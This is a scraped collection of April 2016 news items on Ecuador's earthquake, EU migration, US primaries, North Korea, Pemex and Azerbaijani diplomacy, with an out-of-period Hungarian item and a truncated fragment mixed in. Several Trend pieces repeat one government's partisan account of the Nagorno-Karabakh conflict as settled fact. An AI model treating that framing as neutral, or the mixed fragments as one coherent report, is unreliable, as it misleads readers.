resident in Restricted Jurisdictions, at http://www.steinhoffinternational.com by no later than 12 noon (London time) on the Business Day following the date of this announcement. Neither the content of the website referred to in this announcement nor the content of any website accessible from hyperlinks on Steinhoff's website (or any other website) is incorporated into, or forms part of, this announcement. The Third Increased Offer is subject to the provisions of the Code. In accordance with Rule 23.2 of the Code on Takeovers and Mergers, a copy of this announcement will be published on Darty's website at http://www.dartygroup.com. You may request a hard copy of this announcement, free of charge, by contacting the Company Secretary at Steinhoff UK Holdings Limited, 5th Floor Festival House, Jessop Avenue, Cheltenham, Gloucestershire, GL50 3SH, United Kingdom. Darty Shareholders may also request that all future documents, announcements and information to be sent to them in relation to the Third Increased Offer should be in hard copy form.

2016-04-22 Dissemination of a Corporate News, transmitted by DGAP - a service of EQS Group AG.

The issuer is solely responsible for the content of this announcement.



The DGAP Distribution Services include Regulatory Announcements, Financial/Corporate News and Press Releases.

Media archive at www.dgap-medientreff.de and www.dgap.de




Reuters

BUDAPEST (Reuters) -Hungary will include variable-rate loans to small- and medium-sized businesses in a scheme designed to cap loan rates and avoid a recession, Minister for Economic Development Marton Nagy said, adding banks could "easily" bear the cost of the measure. With inflation above 20% and still rising, and the economy slowing, Prime Minister Viktor Orban's government faces the challenge of curbing price growth while trying to stave off a recession. It has already capped the price of fuel and basic foodstuffs as well as mortgage rates.
Baku, Azerbaijan, Apr. 22

Trend:

Iran supports Azerbaijan's territorial integrity and sovereignty, said Iranian Minister of Communications and Information Technology Mahmoud Vaezi.

He made the remarks during a meeting with Azerbaijan's Foreign Minister Elmar Mammadyarov, the press service of the Azerbaijani Foreign Ministry said Apr. 22.

Iran is interested in ensuring peace and security in the region, said Vaezi.

The minister also noted the importance of expanding cooperation in fighting terrorism, radicalism and regional threats.

In turn, Azerbaijani FM Mammadyarov praised Iran's fair and consistent stance on the Armenia-Azerbaijan Nagorno-Karabakh conflict.

Mammadyarov noted that Armenia must withdraw its armed forces from Azerbaijan's occupied territories in accordance with the UN Security Council's resolutions for settling the conflict and ensuring the consistent peace in the region.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.



Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.



The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

Edited by EA
By Ana Isabel Martinez and Diego Ore PEDERNALES/QUITO, Ecuador (Reuters) - Ecuador will temporarily increase some taxes, sell assets, and may issue new bonds on the international market to fund a multi-billion dollar reconstruction after a devastating 7.8 magnitude quake, a somber President Rafael Correa said on Wednesday. The death toll from Ecuador's weekend earthquake neared 600 and rescue missions ebbed as the traumatized Andean nation braced itself for long and costly rebuilding. "It's hard to imagine the magnitude of the tragedy. Every time we visit a place, there are more problems," Correa said, fresh from touring the disaster zone. The leftist leader estimated the disaster had inflicted $2 billion to $3 billion of damage and could knock 2 to 3 percentage points off growth, meaning the economy will almost certainly shrink this year. Lower oil revenue had already left the poor nation of 16 million people facing near-zero growth and lower investment. In addition to $600 million in credit from multilateral lenders, Correa, an economist, announced a raft of measures to help repair homes, roads, and bridges along the devastated Pacific Coast. "We're looking at the possibility of issuing bonds on the international market," he said on Wednesday afternoon, without providing details. Ecuador had been saying before the quake that current high yields would make it too expensive to issue debt. Yields on its bonds are close to 11 percentage points higher than comparable U.S. Treasury debt, according to JPMorgan data, and creditors are likely to be wary after the quake. Correa's government in 2008 defaulted on debt with a similar yield, calling the value unfair. His government has since returned to Wall Street and Ecuador currently has some $3.5 billion worth of bonds in circulation. In a nationally televised address later on Wednesday, Correa also announced the OPEC nation was poised to shed assets. "The country has many assets thanks to investment over all these years and we will seek to sell some of them to overcome these difficult moments," he said. He also unveiled several short-term tax changes, including a 2-point increase in the Valued Added Tax for a year, as well as a "one-off 3 percent additional contribution on profits," although the fine print was not immediately clear. The VAT tax is currently 12 percent. Additionally, a one-off tax of 0.9 percent will be imposed on people with wealth of over $1 million. Ecuadoreans will also be asked to contribute one day of salary, calculated on a sliding scale based on income. 'FOOD, PLEASE' Briefly pausing talk of reconstruction and hindering rescuers, another quake, of 6.2 magnitude, shook the coast before dawn on Wednesday, terrifying survivors. "You can't imagine what a fright it was. 'Not again!' I thought," said Maria Quinones in Pedernales town, which bore the brunt of Saturday's disaster. That quake, the worst in decades, killed 570 people, injured 7,000 others, damaged close to 2,000 buildings, and forced over 24,000 survivors to seek refuge in shelters, according to government tallies. Four days on, some isolated communities struggled without water, power or transport, as torn-up roads stymied deliveries. Along the coast, stadiums served as morgues and aid distribution centers. "I'm waiting for medicines, diapers for my grandson, we're lacking everything," said Ruth Quiroz, 49, as she waited in an hour-long line in front of a makeshift pharmacy set up at the Pedernales stadium. On a highway outside the town, some children sat holding placards saying: "Food, please." When a truck arrived to deliver water to the small town of San Jacinto, hungry residents surrounded the vehicle and hit it as they yelled: "We want food!" Scores of foreign aid workers and experts have arrived in the aftermath of Saturday's disaster and about 14,000 security personnel have kept order, with only sporadic looting reported. But rescuers were losing hope of finding anyone alive even as relatives of the missing begged them to keep looking. Speaking from the highland capital, Quito, Correa said the death toll would likely rise further, although at a slower rate than in previous days. "May these tears fertilize the soil of the future," he said. (Additional reporting by Alexandra Valencia and Diego Ore in Quito, Brian Ellsworth in Caracas; Writing by Andrew Cawthorne and Alexandra Ulmer; Editing by Tom Brown, Peter Cooney and Michael Perry)
By Alastair Macdonald LUXEMBOURG (Reuters) - EU governments agreed on Thursday to speed the formation of a common European border and coastguard that could be in service by this summer to control migrants arriving from the Middle East and Africa. Interior ministers from the 28 member states gave a mandate to their Dutch chairman at a meeting in Luxembourg to open talks with the European Parliament as soon as possible. The Dutch minister, Klaas Dijkhoff, said the force, based on the EU's Frontex agency with more powers and more resources, should be operational this summer. European Migration Commissioner Dimitris Avramopoulos said he hoped the European Border and Coast Guard would be working by mid-June. EU officials said full establishment would take longer but that elements of the plan could go into effect in a couple of months. The rush to set up a force, to be drawn mostly from seconded national personnel and designed to intervene rapidly where the EU's external border may be overwhelmed, comes after nearly 1.3 million people sought asylum in the EU last year, with almost 1 million coming to Greece and most of the rest to Italy. Ministers noted a sharp drop in those reaching Greek islands since a deal last month under which Turkey will take back anyone makes the crossing. But a day after a report of up to 500 people drowned on one vessel, they warned of a possible renewed surge on the longer and more dangerous route from Africa to Italy. "If we sit back, the situation will occur like we have seen in Greece," Dijkhoff told reporters, adding his voice to calls on Rome to ensure it is ready to handle those arriving. He also called on governments to make good on pledges to take in more Syrian refugees from Turkey as they agreed: "If we don't deliver ... the migration flows will increase again," he said. Italian Interior Minister Angelino Alfano said a Turkey-style deal with a new government the EU hopes can stabilise Libya could help. Officials said a discussion on long-term reform of the asylum system to spread responsibility for arrivals beyond the Mediterranean frontline revealed continued deep divisions. Some countries, especially in the ex-communist east, have ruled out taking in significant numbers of refugees, angering notably Germany which took in 1 million people last year. Addressing concerns about security following the Islamic State attacks on Paris and Brussels, ministers agreed to push on with plans to link a confusing array of national and EU databases on travellers and suspects with a view to having all such data available to authorities and easily searchable. Highlighting the gaps in existing intelligence, the EU's counterterrorism coordinator gave ministers figures indicating that more than 2,000 of some 5,300 European Islamists logged by various intelligence services as fighting in Syria or Iraq had had their details entered by EU states into a shared EU system. A month after suicide bombers killed 32 people in Brussels, Belgian Interior Minister Jan Jambon said Islamic State could be sending more European fighters to attack their home countries. (editing by John Stonestreet)
By Marton Dunai BUDAPEST (Reuters) - Hungary's far-right Jobbik party will revamp its top ranks in an attempt to present itself as a credible alternative to the ruling centre-right Fidesz and Prime Minister Viktor Orban in 2018 elections, the party's leader said on Friday. That includes sacking half of the party's board of six vice chairs at a congress due in a month and a half. Jobbik has been the strongest opposition party since the last elections in 2014 and has gradually moved towards the political centre from its hard-line roots that have included anti-Semitic and xenophobic elements. Fidesz, whose standing was bolstered last year by a tough line on immigration, has considered Jobbik its chief rival. Jobbik's Gabor Vona told a news conference he would sack the vice chairs at the congress where he will have a veto over their candidacies. "We have new goals for the next two years: assume power and govern," Vona said. "We would like to have a leadership that can do that. I would like to include in our board some of the Jobbik mayors, people who have practical leadership experience." The decision caused a turmoil in the party and infuriated some in Jobbik's radical base. "This is a slaughterhouse for radicals," Viktor Szlavik, a former Jobbik candidate in southern Hungary, wrote on Facebook. "This is just toeing the Fidesz line." Elod Novak, one of the vice chairmen to be forced out, said he felt "stunned" and said he might be forced to leave Parliament too. "We will cease to be the heirs of Attila the Hun if becoming a people's party means embracing a politically correct, careful traditionalism," he said. "We will become the same servants of big money as every party and government since (1989)." Political Capital analyst Peter Kreko said Vona's manoeuvre was risky but held a big potential gain. "Vona was the face of the very radical Jobbik and is now the face of a milder Jobbik. That is a difficult manoeuvre, a risky step that could cost the party its unity," Kreko said. He added there were signs that Vona was disarming opponents rather than making an ideological shift. He left in place former skinhead leader Tamas Sneider as a vice chairman, for instance. "This has more to do with publicity and gutting his internal opposition than ideological cleansing. Vona is gambling: he can win big and become a more serious challenger to Fidesz in 2018, or lose big, even wrecking the party in the process." (Editing by Jeremy Gaunt.)
Baku, Azerbaijan, Apr. 22

By Elmira Tariverdiyeva - Trend:

Germany's OSCE co-chairmanship should focus on resolving the Nagorno-Karabakh conflict, Russian Foreign Minister Sergey Lavrov said.

He made the remarks following a meeting with Armenian Foreign Minister Edward Nalbandian in Yerevan.

Lavrov said that in 2011 the OSCE prepared a road map of how to resolve the Nagorno-Karabakh conflict.

"We consider it important and will work so that the Germany's co-chairmanship in the OSCE, which is interested in resolving all the conflicts in the area of the organization, concentrate on this and exercise powers," he said.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
By Lizbeth Diaz MINATITLAN, Mexico (Reuters) - A leak caused a deadly petrochemical plant blast that has killed at least 13 people and the toll could rise, Mexican oil company Pemex said on Thursday, the latest in a series of fatal accidents to batter the company. Pemex CEO Jose Antonio Gonzalez Anaya, who travelled to the site of Wednesday's blast near the port of Coatzacoalcos, one of Pemex's top oil export hubs, told local television it was unclear what caused the leak that prompted the blast. The massive explosion at the facility's chlorinate 3 plant in the Gulf state of Veracruz also injured 136 people, 13 of those seriously. "We know there was a leak, what we don't know is why, but everything points to an accident," Gonzalez Anaya said, revising the death toll up to 13. He said 18 people were unaccounted for. Gonzalez Anaya said there was an odour of ammonia in the area, and the company was investigating. Calling it a "tragic accident," President Enrique Pena Nieto said at an event in Mexico City that he would head to the region to attend to victims. The blast occurred at a vinyl petrochemical plant that is a joint venture between Pemex's petrochemical unit and Mexican plastic pipe maker Mexichem . Shares in Mexichem were trading 5.5 percent lower in early trading on Thursday. "This is neither the time for excuses nor finding those to blame. It is the time to tend to the injured, be accountable and support all those affected," Juan Pablo del Valle, Mexichem's chairman, said on Twitter. In February, a fire killed a worker at the same plant, which lies within Pemex's larger Pajaritos petrochemical complex and makes vinyl chloride monomer, also known as chloroethene, an industrial chemical used to produce plastic piping. The explosion was the latest in a litany of safety disasters that have plagued the state oil giant, which is trying to stem the bleed of sliding output and slash costs as it creaks under the pressure of low crude prices. In 2013, at least 37 people were killed by a blast at its Mexico City headquarters, and 26 people died in a fire at a Pemex natural gas facility in northern Mexico in September 2012. A 2015 fire at its Abkatun Permanente platform in the oil-rich Bay of Campeche affected oil output and cost the company up to $780 million. Pemex said last year it had reduced its annual accident rate in 2014 by more than 33 percent. But a Reuters investigation found that Pemex was reducing its accident rate by including hours worked by office staff in its calculations. (Reporting by Tomas Bravo, Anahi Rama, Veronica Gomez, Gabriel Stargardter and Joanna Zuckerman Bernstein, writing by Alexandra Alper; Editing by Simon Gardner and Alan Crosby)
SEOUL (Reuters) - North Korea on Friday offered for a second time to send to Seoul the families of a group of restaurant workers who it says were abducted to the South, state media said, after South Korea rejected the first approach. South Korea said two weeks ago that 13 North Korean workers at a restaurant run by the North in China had defected, in a case it described as unprecedented. North Korea accused South Korea of a "hideous abduction". "The families of the abductees are eagerly asking for face-to-face contact with their daughters as they were forced to part from their beloved daughters," the chairman of the North Korean Red Cross said in a statement. "At their earnest requests, our side again seriously notifies your side of our decision to send them to Seoul via Panmunjom." Panmunjom is the inter-Korean border village on the demilitarized zone where North and South Korea hold rare joint meetings and rival soldiers stand face-to-face in the world's most heavily fortified border. A truce ending the 1950-53 Korean War was signed in Panmunjom in place of a peace treaty, meaning North and South Korea remain technically at war, locked in a prolonged period of exchanged rhetoric and heightened tension. Under leader Kim Jong Un, North Korea has adopted a different strategy when it comes to defectors, displaying re-defectors on national television and bringing the families of defectors to Panmunjom. Seven of the restaurant workers who did not defect returned to Pyongyang and were paraded in front of a CNN reporter on a trip to the isolated country this week. They wept as they described how their colleagues had been tricked. South Korea's unification ministry said in a statement, reiterating comments from Thursday in response to North Korea's first offer to send the families to the South, that the defection took place according to the workers' "free will" and dismissed the offer as propaganda. "(The offer) is unacceptable, considering their hopes, free will, and international customs concerning humanitarian issues," it said. About 29,000 people have fled North Korea and arrived in the South since the war, including 1,276 last year, with numbers declining since a 2009 peak. In the first quarter of this year, 342 North Koreans arrived in the South. (Reporting by James Pearson; Editing by Nick Macfie)
Baku, Azerbaijan, Apr.22

Trend:

The 7th Global Forum of the UN Alliance of Civilizations, to be held in Baku, will make a great contribution to the development of multiculturalism, tolerance and international dialogue and will even more increase Azerbaijan's role in the world.

This topic was in focus during the expert discussions held on the platform of Baku International Policy and Security Network think tank.

The participants of the event hosted by Elkhan Alasgarov, Ph.D., head of the Baku Network expert council were: Hikmet Hajiyev, Azerbaijan's Foreign Ministry spokesperson, Sevil Mikayilova, editor-in-chief of Azernews newspaper and Amina Nazarli, columnist for the newspaper.

During the discussions, it was noted that Azerbaijan makes significant contribution to the development of regional and international cooperation and by the example of Azerbaijan and its history, the UNAOC Global Forum will show that it is possible to create a successful dialogue model involving representatives of various communities, confessions and religions,

Noting that Baku has hosted a number of international events which contribute to regional and global peace and security, the participants pointed out that the city plays an important role as a diplomatic capital.

During the meeting, it was pointed out that Azerbaijan hosted the Baku International Humanitarian Forum, First European Games, it will hold the Formula 1 Grand Prix of Europe soon, and the Islamic solidarity Games in 2017.

The experts emphasized that Baku is located at the crossroads of the East and West, North and South, which enables it to play a role of a bridge between the West and the Islamic world.

Further, the meeting participants focused on the recent escalation of the situation in the Nagorno-Karabakh conflict zone.

The experts noted that the Azerbaijani settlements, located near the line of contact between Azerbaijani and Armenian armies, were subjected to heavy fire by Armenians in early April.

It was noted that in order to ensure the security of civilians, Azerbaijani armed forces had to respond with a counter-attack which led to liberation of several strategic heights and settlements.

The meeting participants said that the unresolved conflict poses a threat to the region and the international community should be more active in resolving the problem.

It was noted that in order to ensure the success of the talks on the Nagorno-Karabakh conflict, it is necessary to make distinctions between the aggressor and the country which became the victim of the aggression.

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By Jonathan Allen and Luciana Lopez NEW YORK (Reuters) - U.S. Democratic presidential candidate Bernie Sanders accused front-runner Hillary Clinton of apparent campaign finance violations on Monday, ratcheting up the rhetoric against his rival one day before New York state's crucial primary elections. Sanders questioned whether Clinton's campaign violated legal limits on donations by paying her staffers with funds from a joint fundraising effort by Clinton and the Democratic National Committee, or DNC. Sanders has long maintained that the DNC has favored Clinton over Sanders. The U.S. senator from Vermont is a democratic socialist who has run as an independent in his Senate campaigns. While the use of joint fundraising agreements has existed for some time - it is unprecedented for the DNC to allow a joint committee to be exploited to the benefit of one candidate in the midst of a contested nominating contest, Sanders' campaign manager, Jeff Weaver, said. The Clinton campaign dismissed the charge, with chairman Robby Mook saying Sanders was making baseless accusations. "It is shameful that Senator Sanders has resorted to irresponsible and misleading attacks just to raise money for himself," Mook said. The accusations surfaced as the Democratic and Republican candidates engaged in a final frenzy of campaigning before Tuesday's primaries. Both the Democratic and Republican primaries are expected to be the state's most decisive in decades in the selection of the parties' candidates for November's general election. Former U.S. Secretary of State Clinton and Republican Donald Trump, the national front-runners, were favored to win their respective primaries in the state that both call home. Victories would be a tonic for both candidates following a series of losses. In recent weeks, Sanders has defeated Clinton in nominating contests. On the Republican side, U.S. Senator Ted Cruz of Texas, Trump's closest challenger, has outmaneuvered the billionaire businessman in the fight for delegates to the Republican National Convention that will pick the party's nominee in July. By the end of Monday - the last official day of campaigning before the New York primaries - tens of thousands of New Yorkers will have heard the candidates' closing pitches. At St. John's Riverside Hospital in Yonkers just north of New York City, Clinton spoke to doctors, nurses and others at a hospital cafeteria, asking for their votes and taking a jab at Cruz's dismissal earlier in the campaign of "New York values." "I think New York's values are America's values," she told the crowd. Cruz defended his "New York values" catchphrase on ABC's "Good Morning America" in Times Square on Monday, saying New Yorkers had "suffered under the left-wing Democratic policies" of New York City Mayor Bill de Blasio and Governor Andrew Cuomo. Sanders needs a strong victory in New York, where 291 delegates to the Democratic convention in July are at stake, if he is to overtake Clinton. With 2,383 delegates needed to secure the Democratic nomination, Clinton has 1,758 to Sanders' 1,076, according to an Associated Press tally. That total includes unpledged superdelegates who are free to back the candidate of their choice but told the news service whom they support. For Trump, the question is whether he will make a clean sweep of all 95 Republican delegates at stake by earning the majority of votes in all 27 congressional districts in the state. Total victory in New York would help Trump avoid the possibility that the nomination could be wrested from him at the party's July 18-21 convention in Cleveland if he arrives without a majority of at least 1,237 delegates. In that scenario, another candidate could win on a second or subsequent ballot. Trump has 744 delegates to 559 for Cruz and 144 for Ohio Governor John Kasich, according to the Associated Press. The count includes endorsements from several delegates who are free to support the candidate of their choice. In Wyoming, in the latest state-by-state delegate battle, Cruz was awarded all 14 delegates, according to a party official on Saturday. "Lyin' Ted Cruz can't win with the voters so he has to sell himself to the bosses-I am millions of VOTES ahead! Hillary would destroy him & K," Trump tweeted on Monday. On ABC, Cruz responded by saying that Trump was throwing a fit because he has lost several recent state contests. "The stakes are too high to hand the election to Hillary Clinton, which is what nominating Donald Trump" would do, he said. (Additional reporting by Susan Heavey and Megan Cassella in Washington; Writing by Steve Holland; Editing by Jonathan Oatis and Leslie Adler)
Republican presidential front runner Donald Trump has criticised North Carolina's transgender bathroom law, saying it has caused unnecessary "strife".

Mr Trump said transgender people should be able to use whichever bathroom they choose.

The HB2 bill requires everyone to use restrooms matching the gender on their birth certificates.

"You leave it the way it is," the Manhattan property magnate told NBC's Today show on Thursday.

"There have been very few complaints the way it is.

"People go, they use the bathroom that they feel is appropriate. There has been so little trouble."

"And the problem with what happened in North Carolina is the strife and the economic, I mean, the economic punishment theyre taking."

Today show co-host Matt Lauer asked Mr Trump: "So if Caitlyn Jenner were to walk into Trump Tower and wanted to use the bathroom, you would be fine with her using any bathroom she chooses?"

Apparently undeterred by Jenner's support for his rival Ted Cruz , Mr Trump replied: "That is correct."

Mr Cruz later assailed Mr Trump for his remarks, saying: "Have we gone stark-raving nuts?"

At a rally in Frederick, Maryland, the Texas senator told supporters: "Grown adult men - strangers - should not be alone in a bathroom with little girls."

But Mr Trump's remarks prompted rare praise from Democrats.

The North Carolina Democratic Party said: "Today Donald Trump joined the growing list of business leaders against HB2."

The real estate baron's comments may dismay the social conservatives who backed HB2 and also swept him to victory throughout much of the southern US states earlier in the primary season.

It could signal a tonal shift in his campaign as he closes in on the party's Republican presidential nomination and pivots to broaden his appeal to younger and independent voters.

North Carolina's law has cost the state hundreds of jobs as PayPal and Deutsche Bank halted proposed expansions in the state.

Bruce Springsteen cancelled a concert in Greensboro because of the bill, while others, such as American Airlines and Apple, have raised concerns.
By Michael Martina BEIJING (Reuters) - China has no need to be worried about U.S. plans to deploy a new anti-missile system in South Korea to protect it from North Korea, a senior U.S. diplomat said on a visit to Beijing, adding North Korea had shown no interest in diplomacy. The United States and South Korea have begun talks on possible deployment of the Terminal High Altitude Area Defense (THAAD) system after North Korea tested its fourth nuclear bomb on Jan. 6 and launched a long-range rocket on Feb. 7, both in defiance of U.N. resolutions, but China firmly opposes the move. "The fact is that North Korea presents a very serious missile threat to the Korean peninsula," Sung Kim, the U.S. special envoy for North Korea, told reporters. "And we, together with South Korea, have decided that we should take appropriate defensive measures to protect ourselves against this missile threat from North Korea." Kim said the United States remained open to credible and meaningful diplomacy with North Korea, but the country had shown no interest. North and South Korea remain technically at war after their 1950-53 conflict ended in a truce, rather than a treaty. The North, whose lone major ally is neighbor China, routinely threatens to destroy South Korea and its major ally, the United States. The North Korean threat was why "we have started formal consultations about the possibility of deploying the THAAD system on the peninsula", Kim said. "It's a completely defensive system. There is no need for China or Russia to be concerned about this system." North Korea has vowed to conduct further nuclear tests, despite stepped up international sanctions. Satellite images show that North Korea may have resumed tunnel excavation at its main nuclear test site, similar to activity seen before the January test, a U.S. North Korea monitoring website reported on Wednesday. Kim said he had no definitive information a fifth test was coming, and that he was not sure China knew either. China is North Korea's most important economic and diplomatic backer, but has been infuriated by North Korea's nuclear and missile tests and has signed on for tough U.N. sanctions. The effectiveness of current or any new sanctions depends heavily on them being fully implemented by China, U.S. officials and analysts say. Kim said China had taken "a number of steps toward implementation" of the latest sanctions resolution. "I hope and I expect that China would take its responsibility very seriously and actually implement all provisions of this unprecedented resolution," he added. China says it has a right to develop what it calls "normal relations" with North Korea. North Korea became China's second-biggest coal supplier in March, with deliveries up 80.6 percent from a year ago to 2.35 million tonnes, data from China's customs authority showed on Thursday. China's Ministry of Commerce announced at the beginning of April that it would ban North Korean coal imports to comply with new U.N. sanctions. But it would make exceptions for coal delivered via North Korea's Rason port from third countries, and for exports intended for "the people's well-being" and not connected to nuclear or missile programs. (Writing by Ben Blanchard; Editing by Nick Macfie)
Baku, Azerbaijan, Apr. 22

By Anakhanum Hidayatova - Trend:

France's Secretary of State for European Affairs Harlem Desir will attend the 7th Global Forum of the UN Alliance of Civilizations (UNAOC) in Baku, the French embassy in Baku told Trend Apr. 22.

The 7th UNAOC Global Forum will be held Apr. 25-27 in Baku.

Desir is expected to hold a number of bilateral meetings at the highest level, according to the embassy.

It is planned to hold a meeting with participation of high-ranking officials and about 30 sessions during the Forum.

The Baku Declaration is expected to be adopted during the high-level meeting of the UNAOC Global Forum.

Azerbaijan's President Ilham Aliyev signed a decree on July 24, 2015 to create an organizing committee for holding the 7th UNAOC Global Forum in Baku.

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Follow the author on Twitter: @Anahanum
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Baku, Azerbaijan, Apr. 22

By Elena Kosolapova, Aygun Badalova - Trend:

United Nations Alliance of Civilizations 7th Global Forum hosted by Baku on April 25-27 is important based on Azerbaijan's experience of multiculturalism, said Hikmet Hajiyev, spokesman for Azerbaijani Foreign Ministry.

Hajiyev noted that Baku UN Alliance of Civilizations is very topical event and it contributes to the goals identified by the UN including its new sustainable development goals.

Hajiyev made the remarks participating in a discussion platform of Baku Network think tank.

The participants of the event hosted by Elkhan Alasgarov, Ph.D., head of the Baku Network expert council were: Hikmet Hajiyev, Azerbaijan's Foreign Ministry spokesperson, Sevil Mikayilova, editor-in-chief of Azernews newspaper and Amina Nazarli, columnist for the newspaper.

"We see that at the international level, in many societies there are certain groups that are marginalized. And with this marginalization also comes radicalization. Therefore Baku Forum is an important process based on the experience of Azerbaijani people and their rich culture of tolerance and understanding. It demonstrates that within the inclusive society you can build the patters of a successful dialogue, where different communities, confessions and religions can live side by side," Hajiyev said.

He noted that Azerbaijan contributes to the international process of building bridges of dialogue and civilization and within this process Azerbaijan hosted Baku Humanitarian Forum, Baku European Games, now is going to host United Nations Alliance of Civilizations 7th Global Forum, and then will host the Baku Formula One event in June and Islamic Solidarity Games in 2017.

The United Nations Alliance of Civilizations 7th Global Forum is like a symbolic bridge between two major events, bringing two civilizations together - Baku Games in 2015 from one side and the Islamic Solidarity Game which will be held in Baku next year on the other side, Hajiyev said.

"Baku plays an important role as a diplomatic capital, brings different people together... All of these processes are complimenting one another, it is a positive contribution of Azerbaijan to the regional and global peace and security," Hajiyev said.

He noted that regarding the subject it is possible to see real difference between Armenia and Azerbaijan.

"What Armenia brings to the region and what Azerbaijan brings to the region? Azerbaijan brings regional cooperation, development, prosperity, understanding and cooperation, including Dialogue of Civilizations. And Azerbaijan's contribution goes beyond regional dimension. And it is also a continuation of the process what we are seeing since the Baku Games and all of these processes complementing one another. But what we see in the case of Armenia - it is war, distraction and also undermining entire regional security structure," Hajiyev said.

He noted that it is time for Armenia to change its mind and come to join to the processes in a constructive manner.

Touching upon the recent escalation over the Armenian-Azerbaijani Nagorno-Karabakh conflict, Hajiyev said that it is obvious that the Armenian armed forces launched an intensive attack on Azerbaijani civilian population over the entire contact line of Armenian-Azerbaijani forces on April 2.

Hajiyev said the Armenian armed forces used artillery and other heavy weapons, and targeted defense positions of Azerbaijani armed forces.

He went on to add that in order to provide and guarantee the security of civilian population, Azerbaijan's armed forces were obliged to respond, and as a result several Azerbaijani strategic heights occupied by Armenia, were liberated.

Hajiyev also noted that the liberated strategic heights were used by Armenia to particularly target the civilian population of Azerbaijan living near the contact line area.

"As a result of such military provocation by Armenia, six civilians were killed from Azerbaijani side, and twenty more have been seriously injured," Hajiyev said, adding that these provocations from Armenia inflicted serious damage to public and private property.

The official went on to add that in sign of good will, Azerbaijan declared declared unilateral truce on April 3, but Armenian armed forces and political leadership of Armenia ignored it and continued military actions until April.

Since April 5, as a result of meeting of Armenian and Azerbaijani General Chiefs of Staff, the decision was made to guarantee the cease of fire, said.

"But unfortunately, the provocations of Armenia still continue. The situation is relatively stable, but is still tense," he said.

Hajiyev said that Azerbaijan, on numerous occasions, declared its position, saying that illegal presence of Armenian armed forces on Azerbaijani lands is a major source of a threat to the regional peace and security.

It undermines the wider structure of regional peace, he said.

He added that the international community should demand Armenia to fulfill the resolutions of the United Nations' Security Council on unconditional withdrawal of Armenian armed forces from the occupied territories of Azerbaijan.

"The presence Armenian armed forces on the occupied territories of Azerbaijan continues to pose a threat, and we have witnessed once again, starting from April 2, that such kind of presence could cause further escalation of the situation on the contact line," Hajiyev said.

He also stressed that Nagorno-Karabakh conflict cannot be considered a frozen conflict.

"This conflict is alive," Hajiyev said.

He stressed that Azerbaijan demonstrated that the country is ready to start comprehensive and result-oriented political process towards the resolution of the conflict on the basis of the current proposals within the OSCE Minsk Group process.

"Unfortunately we don't see still such kind of reaction from the Armenian side," he said.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
Seed-stage investment firm Felicis Ventures has announced the closing of its fifth fund on around $200m after just two
Qatar Airways is offering customers in Azerbaijan an incredible sales promotion to travel to six exciting Asian destinations.

Whether planning an adventure or luxury getaway, travellers taking advantage of the discounted fares will experience a new level of luxury on board Qatar Airways with award-winning service and hospitality, complemented by one of the youngest fleet of aircraft in the world. Airline offers up to 35% off to passengers travelling to Bangkok, Colombo, Denpasar, Phuket, Kuala Lumpur and Singapore from its Baku gateway.

Sales promotion will be available for sale from 20 - 30 April 2016 for travel between 20 April through to 15 December 2016. Passengers may book online at qatarairways.com or by visiting any Qatar Airways' sales office or through travel partners.

Passengers flying from Azerbaijan to any of mentioned Asian destinations will also benefit from a convenient transfer at Hamad International Airport, the newest airport hub in the world. Offering more than 100 retail and dining options and unique services such as a swimming pool, hotel and spa, designed exclusively for those in transit, the airport is sure to further enhance the passengers' overall travel experience.

Qatar Airways, the national carrier of the State of Qatar, is one of the fastest growing airlines operating one of the youngest fleets in the world. Now in its 19th year of operations, Qatar Airways has a modern fleet of 181 aircraft flying to more than 150 key business and leisure destinations across six continents.
Baku, Azerbaijan, Apr.22

Trend:

Cooperation agreement between BHOS and the State Agency on Alternative and Renewable Energy Sources of Azerbaijan Republic was signed at BHOS.

